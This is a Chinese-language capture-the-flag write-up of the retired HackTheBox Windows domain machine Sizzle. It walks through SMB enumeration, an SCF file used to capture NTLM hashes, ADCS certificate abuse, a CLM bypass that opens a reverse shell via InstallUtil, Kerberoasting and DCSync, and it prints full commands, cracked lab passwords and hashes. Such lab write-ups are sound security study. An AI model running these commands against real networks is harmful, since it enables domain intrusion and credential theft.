靶场选自HackTheBox的一台RETIRED的靶机,主要是根据国外大神0xdf的WriteUp进行复现,学习大佬针对域渗透的步骤及思路,对于刚学完《域渗透攻防指南》来说也是一个亲身实践环节。靶场中除了对smbclient、impacket、BloodHound等常见域工具使用及NTLM Relay、Kerberoast等常见域漏洞利用外,还对powershell的CLM语言模式、Applocker等进行了解,并对PsbypassCLM进行了利用。
00
攻击路线图
01
端口嗅探
使用-sT查看tcp端口开放情况。
sudo nmap -sT -p- --min-rate 10000 -oA alltcp 10.129.94.206
使用nmap对开放端口进行版本即默认脚本扫描,获取开放端口相关信息。其中比较感兴趣的有FTP(21)、HTTP(80)、LDAP(389),SMB(445),同时如果获取到凭据也可以利用WinRM(5985、5986)进行操作。
sudo nmap -sC -sV -p 21,53,80,135,139,445,389,443,464,593,636,3268,3269,5985,5986,9389,47001 10.129.94.206
02
FTP服务
2. FTP服务
通过nmap端口嗅探可以发现FTP允许匿名登录,尝试使用FTP工具进行匿名登录,发现为空目录。
ftp [email protected]10.129.94.206
03
WEB服务
查看80端口Web页面,并使用dirb工具进行目录扫描。
dirb http://10.129.94.206/
发现http://10.129.94.206/certsrv页面,即靶场域环境使用ADCS活动目录证书服务。
04
LPAP服务
使用ldapsearch工具对389端口进行匿名查询,发现需要凭据认证,无法获取到域相关信息。
ldapsearch -b 'DC=htb,DC=local' -H ldap://10.129.94.206:389
05
SMB服务
尝试对445端口SMB服务进行信息收集,发现存在以下共享信息。
# 使用smbmap对SMB服务进行信息收集,未能发现共享信息
smbmap -H 10.129.94.206
# 使用smbclient对SMB服务进行信息收集,发现存在以下共享信息
smbclient -L 10.129.94.206 -N
ADMIN$ Disk Remote Admin
C$ Disk Default share
CertEnroll Disk Active Directory Certificate Services share
Department Shares Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Operations Disk
SYSVOL Disk Logon server share
对所有的SMB共享进行查看,发现可以获取到‘Department Shares’文件夹信息。
smbclient //10.129.94.206/'Department Shares' -N
也可以使用正则表达式对所有共享信息进行枚举,发现仅‘Department Shares’存在信息。
smbclient -N -L //10.129.94.206 | grep Disk | sed 's/^\s*\(.*\)\s*Disk.*/\1/' | while read share; do echo "======${share}======"; smbclient -N "//10.129.94.206/${share}" -c dir; echo; done
此时可以通过两种方式获取“Department Shares”文件夹内容。
①将'Department Shares' 文件夹内容下载至本地。
# 连接'Department Shares'
smbclient //10.129.94.206/'Department Shares' -N
# 下载'Department Shares' 文件夹数据
mask ""
recurse ON
prompt OFF
mget *
②也可以通过挂载方式将“Department Shares”文件夹挂载至本地。
# 将“Department Shares”文件夹挂载至/mnt
sudo mount -t cifs "//10.129.94.206/Department Shares" /mnt
# 进入/mnt文件夹,发现“Department Shares”已成功挂载
cd /mnt && ls
查看文件夹内容,仅在ZZ_ARCHIVE文件夹发现存在文件,但文件均无法打开,且使用16进制查看发现内容均为空。
设想通过NTLM Relay进行劫持用户凭据,发现在Users\public目录下方可写入文件,且创建的test.scf会被自动清除。
06
获取amanda权限
使用responder对tun0网卡进行监听,等待NTLM拦截。
sudo responder -I tun0 -w -d
在本地创建test.scf文件,其中UNC路径指向本机IP地址。
# test.scf文件内容
[shell]
Command=2
IconFile=\\10.10.14.23\icon
[Taskbar]
Command=ToggleDesktop
使用smbclient将test.scf文件上传至'Department Shares'\Users\public目录下。
# 使用smbclient查看'Department Shares'共享文件夹
smbclient //10.129.94.206/'Department Shares' -N
# 进入到Users\public文件夹
cd Users\public
# 上传写好的test.scf文件
put test.scf
在挂载目录/mnt/Users/Public下查看刚上传的test.scf文件。
# 查看上传的test.scf文件
cat test.scf
此时responder已监听到来自靶机的NTLM认证凭据。
amanda::HTB:cac2ea6ce3b0a890:CB4627F8AA78B203A586AA252920F9EE:0101000000000000802840CD9C6DD901619C7DD51F9F1A8700000000020008004E0039004800530001001E00570049004E002D00340042004A004200560058003800520059004800590004003400570049004E002D00340042004A00420056005800380052005900480059002E004E003900480053002E004C004F00430041004C00030014004E003900480053002E004C004F00430041004C00050014004E003900480053002E004C004F00430041004C0007000800802840CD9C6DD9010600040002000000080030003000000000000000010000000020000044DF46EA0B1353A8DE4AD65D01CBAF046C5109172B5F2DBBC7E17AC1DB298DDB0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0032003300000000000000000000000000
使用john工具对NTLM凭据进行爆破,成功获取到凭据amanda:Ashare1972。
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# 获得凭据
amanda:Ashare1972
使用evil-winrm对凭据进行登录,发现无法登录成功。
evil-winrm -u amanda -p Ashare1972 -i 10.129.94.206
使用smbmap和smbclient查看amanda用户的SMB共享列表,发现比之前多出可读取的CertEnroll文件夹。
smbmap -u amanda -p Ashare1972 -H 10.129.94.206
smbclient -U htb.local/amanda //10.129.94.206/CertEnroll
使用ladpdomaindump对LDAP端口进行信息收集,可以得到domain_computers、domain_computers_by_os、domain_groups、domain_policy、domain_trusts、domain_users、domain_users_by_group等信息。
ldapdomaindump -u 'htb.local\amanda' -p Ashare1972 10.129.94.206 -o ldap/
07
获取amanda交互式shel
使用凭据amanda:Ashare1972登录http://10.129.94.206/certsrv,发现可以正常登录成功。
使用openssl申请新的cert证书,用于生成可被域ADCS活动目录证书服务认可的证书凭据。
openssl req -new -newkey rsa:2048 -nodes -keyout server.key -out server.csr
cat server.csr
-----BEGIN CERTIFICATE REQUEST-----
MIICijCCAXICAQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUx
ITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcN
AQEBBQADggEPADCCAQoCggEBAJvYb3Hi/wpH1ksD5pbFTW9MNeMpKCOba951DH1g
jzasrryffyJM6WI22DI3lalPOHiAuTyqqIKNI3T8uypV0FMBYuAu5EhYkL1GGR9r
bjwDjo1zkR1x2+Ro5qz4Jtls9krSqtxFvidgOFhxMwoPUNSWfg/HPyIcgreO7sx6
R24SYZ74fuwjtVuBp626bgJ4HWf3rx/BC2bxhXg8vZRR62Qe94SM9VPIuJZ5J0Td
RuUvoaCaROMK2Knh5Z+Idz/Yf6AnLEnw2Id1UD3T7awXGYXbAcIQMMXNq1gFDdza
3M5BEFOiWAmhReyGPmfg0Z6mxlPZ5hdOHPFvjbvByL0r8+MCAwEAAaAAMA0GCSqG
SIb3DQEBCwUAA4IBAQCIQiFWnTgCipxHpLEDjZ7DbfcW8l2nu9/eaRlyq1zRCF45
tqQEHiNkHGKljo1WS/Zy/XlYQwje7lbWG26FDrJ7m0dWdzZADfuHxsO08SjGed8v
nXQCFCaoJHoM4YuncXdha6E4AXP5yxu9pIFSJ5HFiVMEE+1FuF3jYcx87cMEf5lS
33s7FlVi/Qqdd/D/4rQTftNFy55e8o4lvzIlLiY9YCqq19qCLQos9zeysV5FBSSc
+eOGVo0jOD5BDTfajkIsjon1HONy2C721SSsx7USh+ASkZqrUeZngr2FrXA6z6PH
XBW5yXrVqlDF7xovMDj9aF2VfRI5jNGXhmjZd92M
-----END CERTIFICATE REQUEST-----
在http://10.129.94.206/certsrv使用amanda进行认证,并将server.csr上传至网站,生成新的certnew.cert。
使用evil-winrm通过openssl生成的server.key和从http://10.129.94.206/certsrv生成的certnew.cert进行认证,获取到amanda的交互式shell。
evil-winrm -i 10.129.94.206 -c cert/certnew.cer -k server.key -S
未能获取到flag。
08
获取mrlky权限
在amanda的shell中,上传SharpHound.ps1文件进行域环境信息收集,发现powershell处于ConstrainedLanguage mode模式。
# kali在SharpHound.ps1目录下开启http服务
python3 -m http.server
# 在靶下载SharpHound.ps1
wget http://10.10.14.23:8000/SharpHound.ps1 -OutFile SharpHound.ps1
# 利用SharpHound.ps1进行信息收集
Import-Module .\SharpHound.ps1
invoke-bloodhound -collectionmethod all
# 语言模式相关知识点
https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.2
# AppLocker相关知识点
https://learn.microsoft.com/zh-cn/windows/security/threat-protection/windows-defender-application-control/applocker/test-an-applocker-policy-by-using-test-applockerpolicy
# 查看powershell语言模式
$ExecutionContext.SessionState.LanguageMode
# 导出有效的 AppLocker 策略
Get-AppLockerPolicy -Effective -XML
分析AppLocker策略策略文件,发现“C:\Windows”下允许exe及script脚本运行。
使用PsBypassCLM.exe绕过CLM限制。
# 攻击机在PSBypassCLM目录下开启HTTP服务,供靶机shell下载PsBypassCLM.exe
python3 -m http.server
# 在靶机shell执行以下命令下载PsBypassCLM.exe
wget http://10.10.14.23:8000/PsBypassCLM.exe -OutFile PsBypassCLM.exe
# 攻击机使用nc开启监听4444端口
nc -lvp 4444
# 靶机shell执行以下命令使用PsBypassCLM.exe绕过CLM限制
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=/LogToConsole=true /U /revshell=true /rhost=10.10.14.23 /rport=4444 C:\Users\amanda\Documents\PsBypassCLM.exe
使用netstat进行端口查询,发现其开放88端口,该端口在端口嗅探时未发现,可能是防火墙阻拦原因。
netstat -ap tcp
将Rubeus.exe传至靶机。
# kali使用python开启http服务
python3 -m http.server
# 靶机shell使用wget下载rubeus.exe至C:\windows\temp>
wget http://10.10.14.23:8000/Rubeus.exe -OutFile Rubeus.exe
运行Rubeus.exe,使用amanda凭据进行kerberoast攻击,成功获取mrlky用户票据。
# 进行kerberoast攻击
.\Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972 /format:john /outfile:hash.txt
# 获取票据
type hash.txt
$krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle*$660DDCF9926E5831D3402411C2C65FB7$D31F998B9D674BB5A5502A121968F27B4C979571AAB1805E7A7824B8DFD80E64CD547D481CB1C62E2E31FFB2ECF425C8D36D08FA61CD9AA930F886C428C227BDF36BF814F14DF27775D7CEE5903DB6B6C20C774ACD17A2BD1E7361F48377D51D098D2EC04BE3E9D715325DC3B9A512D7538E7D6F5D6E3A951CE685B571B2B0336E1D5F391506AC381C4DEF3EE72EBEE322E53DEDE7C20CFE39C7CC4AC26ED91D22299ABA6CE1769EC3A89D45AD30CE1E2CDF41140088DFBB4B2E36D4411BC8E8D6AF4759C7B57969B7AC2CD89B774512B369F0D8A11D94A46CFAFA7CE827B409BE9522F4E0ED6FE9950EB74CCD82FF1913E3A2EDD84F0FBA43E14700CD4076822E1C3AD26217FD9DB538C3B783A0A06EC60D8BD1D36B8F054EFBBACB8A4C6ADE3CF435072722DA3CEBF60F1E8F461DD9218FC7538569B5DCD366ACB3E4DFD34BDD56D3B06A23940C4ECF82C56F4606F7A34482B418B7A679806DAE3903FA1922C43F9D64B3E532B8B6057C14B073E48282EA617DA850CA617E4C3D77D638027AD1EBDC37F8CCCC76A01BB91ACC81FD1F182CD65FCBF9CDB08710B05B2A8EB97828F61C4D34FBC2F381ECD1261EE274319DFA04643FD5C988FA20F32286EED1FE7BA88312B486F5E4BE8F5E77DC0BD4303EC49BD2EDC4720D69E53940357D664688EA741037DC383E5E7E90BD5F5BA71C4C40F030B8AA0EB52C9B39FF8FC2CE1DD8556C8AE5CB3E476DA64665419ED7591CAE8601270427F1ACDA75809DA1EDEA4E0B96F31DF35FBE389DDF3D905A0E5BB28D197D0A21E487087AB26A96D8BABCF6B3C123C4E2C4F26A663AAA9A94BF04D5164D58555387F9E9F58D22D8AD6995D458DEB5EE697E72D22D16C663F0B4DAF45E3596B025C33BD3A5545E951CF586C0BE46AB9425FF5102C18EA903A8206F16A31BA0A6C0BE9D49186E93AF320D18EFFD66CCD2A7D82F8347AB9920961F6CEC7F55C2934BF9E73BB6AAE505151DD5BF745ED9DD8D44219C62EDCBC0C8F0833C1DB80E2266F89B106DF21778E526AFA44B46D38E856C206A56308015E3A99C85324989075918270873DA4F56553EA4C10229F132E8B9272391A702B3D531BE505D87A0B4A24DB74941076C7CABC263D852D0D15E28944DFB2CA2344139861CBF011390841F3FE3F204C74807D5E760D19FE9A1E9B5984D37C66BFAC9E446CCD0B5D80C1CB2E4442028A886BB27B6816D0BAD51017C5BCD4A647ECEECED594F92822E10660842C4EFF1AE3519FCE821A7F9C2136A01F87D1573CACC1F0041D608DDA524E68F7B3AE03F14FF8663F3EB0380AD5CA04F56158B5D20DC12A01F7792DB4A21A411322BB94934BBD71E2629E2960710E685
在kali机使用john对票据进行爆破,成功获得mrlky用户凭据。
# 将票据写入hash.txt
echo '$krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle*$660DDCF9926E5831D3402411C2C65FB7$D31F998B9D674BB5A5502A121968F27B4C979571AAB1805E7A7824B8DFD80E64CD547D481CB1C62E2E31FFB2ECF425C8D36D08FA61CD9AA930F886C428C227BDF36BF814F14DF27775D7CEE5903DB6B6C20C774ACD17A2BD1E7361F48377D51D098D2EC04BE3E9D715325DC3B9A512D7538E7D6F5D6E3A951CE685B571B2B0336E1D5F391506AC381C4DEF3EE72EBEE322E53DEDE7C20CFE39C7CC4AC26ED91D22299ABA6CE1769EC3A89D45AD30CE1E2CDF41140088DFBB4B2E36D4411BC8E8D6AF4759C7B57969B7AC2CD89B774512B369F0D8A11D94A46CFAFA7CE827B409BE9522F4E0ED6FE9950EB74CCD82FF1913E3A2EDD84F0FBA43E14700CD4076822E1C3AD26217FD9DB538C3B783A0A06EC60D8BD1D36B8F054EFBBACB8A4C6ADE3CF435072722DA3CEBF60F1E8F461DD9218FC7538569B5DCD366ACB3E4DFD34BDD56D3B06A23940C4ECF82C56F4606F7A34482B418B7A679806DAE3903FA1922C43F9D64B3E532B8B6057C14B073E48282EA617DA850CA617E4C3D77D638027AD1EBDC37F8CCCC76A01BB91ACC81FD1F182CD65FCBF9CDB08710B05B2A8EB97828F61C4D34FBC2F381ECD1261EE274319DFA04643FD5C988FA20F32286EED1FE7BA88312B486F5E4BE8F5E77DC0BD4303EC49BD2EDC4720D69E53940357D664688EA741037DC383E5E7E90BD5F5BA71C4C40F030B8AA0EB52C9B39FF8FC2CE1DD8556C8AE5CB3E476DA64665419ED7591CAE8601270427F1ACDA75809DA1EDEA4E0B96F31DF35FBE389DDF3D905A0E5BB28D197D0A21E487087AB26A96D8BABCF6B3C123C4E2C4F26A663AAA9A94BF04D5164D58555387F9E9F58D22D8AD6995D458DEB5EE697E72D22D16C663F0B4DAF45E3596B025C33BD3A5545E951CF586C0BE46AB9425FF5102C18EA903A8206F16A31BA0A6C0BE9D49186E93AF320D18EFFD66CCD2A7D82F8347AB9920961F6CEC7F55C2934BF9E73BB6AAE505151DD5BF745ED9DD8D44219C62EDCBC0C8F0833C1DB80E2266F89B106DF21778E526AFA44B46D38E856C206A56308015E3A99C85324989075918270873DA4F56553EA4C10229F132E8B9272391A702B3D531BE505D87A0B4A24DB74941076C7CABC263D852D0D15E28944DFB2CA2344139861CBF011390841F3FE3F204C74807D5E760D19FE9A1E9B5984D37C66BFAC9E446CCD0B5D80C1CB2E4442028A886BB27B6816D0BAD51017C5BCD4A647ECEECED594F92822E10660842C4EFF1AE3519FCE821A7F9C2136A01F87D1573CACC1F0041D608DDA524E68F7B3AE03F14FF8663F3EB0380AD5CA04F56158B5D20DC12A01F7792DB4A21A411322BB94934BBD71E2629E2960710E685' > hash.txt
# 使用john进行票据爆破
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# 获得mrlky用户凭据
mrlky:Football#7
使用mrlky口令未能登录成功,无法获得shell。同amanda账户一样,通过Web证书注册接口生成可供登录的证书凭据。
# 生成证书
openssl req -new -newkey rsa:2048 -nodes -keyout server.key -out server.csr
同amanda账户一样,在Web证书注册接口将mrlky.csr上传,生成新的证书certnew.cer。
使用evil-winrm通过certnew.cer和mrlky.key对mrlky用户进行登录。
evil-winrm -i 10.129.94.206 -c certnew.cer -k mrlky.key -S
成功获取到flag(user.txt)
type C:\Users\mrlky\desktop\user.txt
09
权限提升
上传SharpHound.exe进行域环境分析,发现存在CLM限制,还需要进行PSBypassCLM。
# 上传SharpHound.exe失败
upload /home/kali/Desktop/sizzle/SharpHound.exe
# 查看language mode发现为ConstrainedLanguage
$ExecutionContext.SessionState.LanguageMode
使用PsBypassCLM.exe绕过CLM限制。
# 攻击机在PSBypassCLM目录下开启HTTP服务,供靶机shell下载PsBypassCLM.exe
python3 -m http.server
# 在靶机shell执行以下命令下载PsBypassCLM.exe
wget http://10.10.14.23:8000/PsBypassCLM.exe -OutFile PsBypassCLM.exe
# Kali使用nc开启监听4444端口
nc -lvp 4444
# 靶机shell执行以下命令使用PsBypassCLM.exe绕过CLM限制
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=/LogToConsole=true /U /revshell=true /rhost=10.10.14.23 /rport=4444 C:\Users\mrlky.HTB\Documents\PsBypassCLM.exe
将SharpHound.ps1上传至靶机,并执行SharpHound.ps1进行域信息收集。
# kali在SharpHound.ps1目录下开启http服务
python3 -m http.server
# 在靶下载SharpHound.ps1
wget http://10.10.14.23:8000/SharpHound.ps1 -OutFile SharpHound.ps1
# 利用SharpHound.ps1进行信息收集
invoke-bloodhound -collectionmethod all
通过impacket-smbserver开启SMB服务,将域环境分析文件20230413231646_BloodHound.zip复制到kali本地。
# kali使用impacket-smbserver开启SMB服务
impacket-smbserver -smb2support share . -username root -password root
# 靶机连接该SMB服务
net use \\10.10.14.23\share /u:root root
# 将靶机20230413231646_BloodHound.zip复制到kali
copy 20230413231646_BloodHound.zip \\10.10.14.23\share\
使用BloodHound对域环境文件20230413231646_BloodHound.zip进行分析。发现mrlky账户对域环境具备DCSync功能。
使用impacket-secretsdump功能成功获取到所有账户的NTLM hash。
impacket-secretsdump HTB/mrlky:Football#7@10.129.94.206 -just-dc-ntlm
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
sizzler:1604:aad3b435b51404eeaad3b435b51404ee:d79f820afad0cbc828d79e16a6f890de:::
SIZZLE$:1001:aad3b435b51404eeaad3b435b51404ee:6fbc09fd8691a48dd7a3ee920746d360:::
[*] Cleaning up...
使用administrator账户hash登录,成功获取域管权限。
# 使用crackmap检测凭据
crackmapexec smb 10.129.94.206 -u administrator -H :f6b7160bfc91823792e0ac3a162c9267 -x "whoami"
# 使用impacket-smbexec登录凭据
impacket-smbexec HTB/[email protected]10.129.94.206 -hashes :f6b7160bfc91823792e0ac3a162c9267
获取flag(root.txt)
C:\Users\administrator\Desktop\root.txt
10
参考文章
https://0xdf.gitlab.io/2019/06/01/htb-sizzle.html
https://0xdf.gitlab.io/2019/02/16/htb-giddy.html#winrm-directly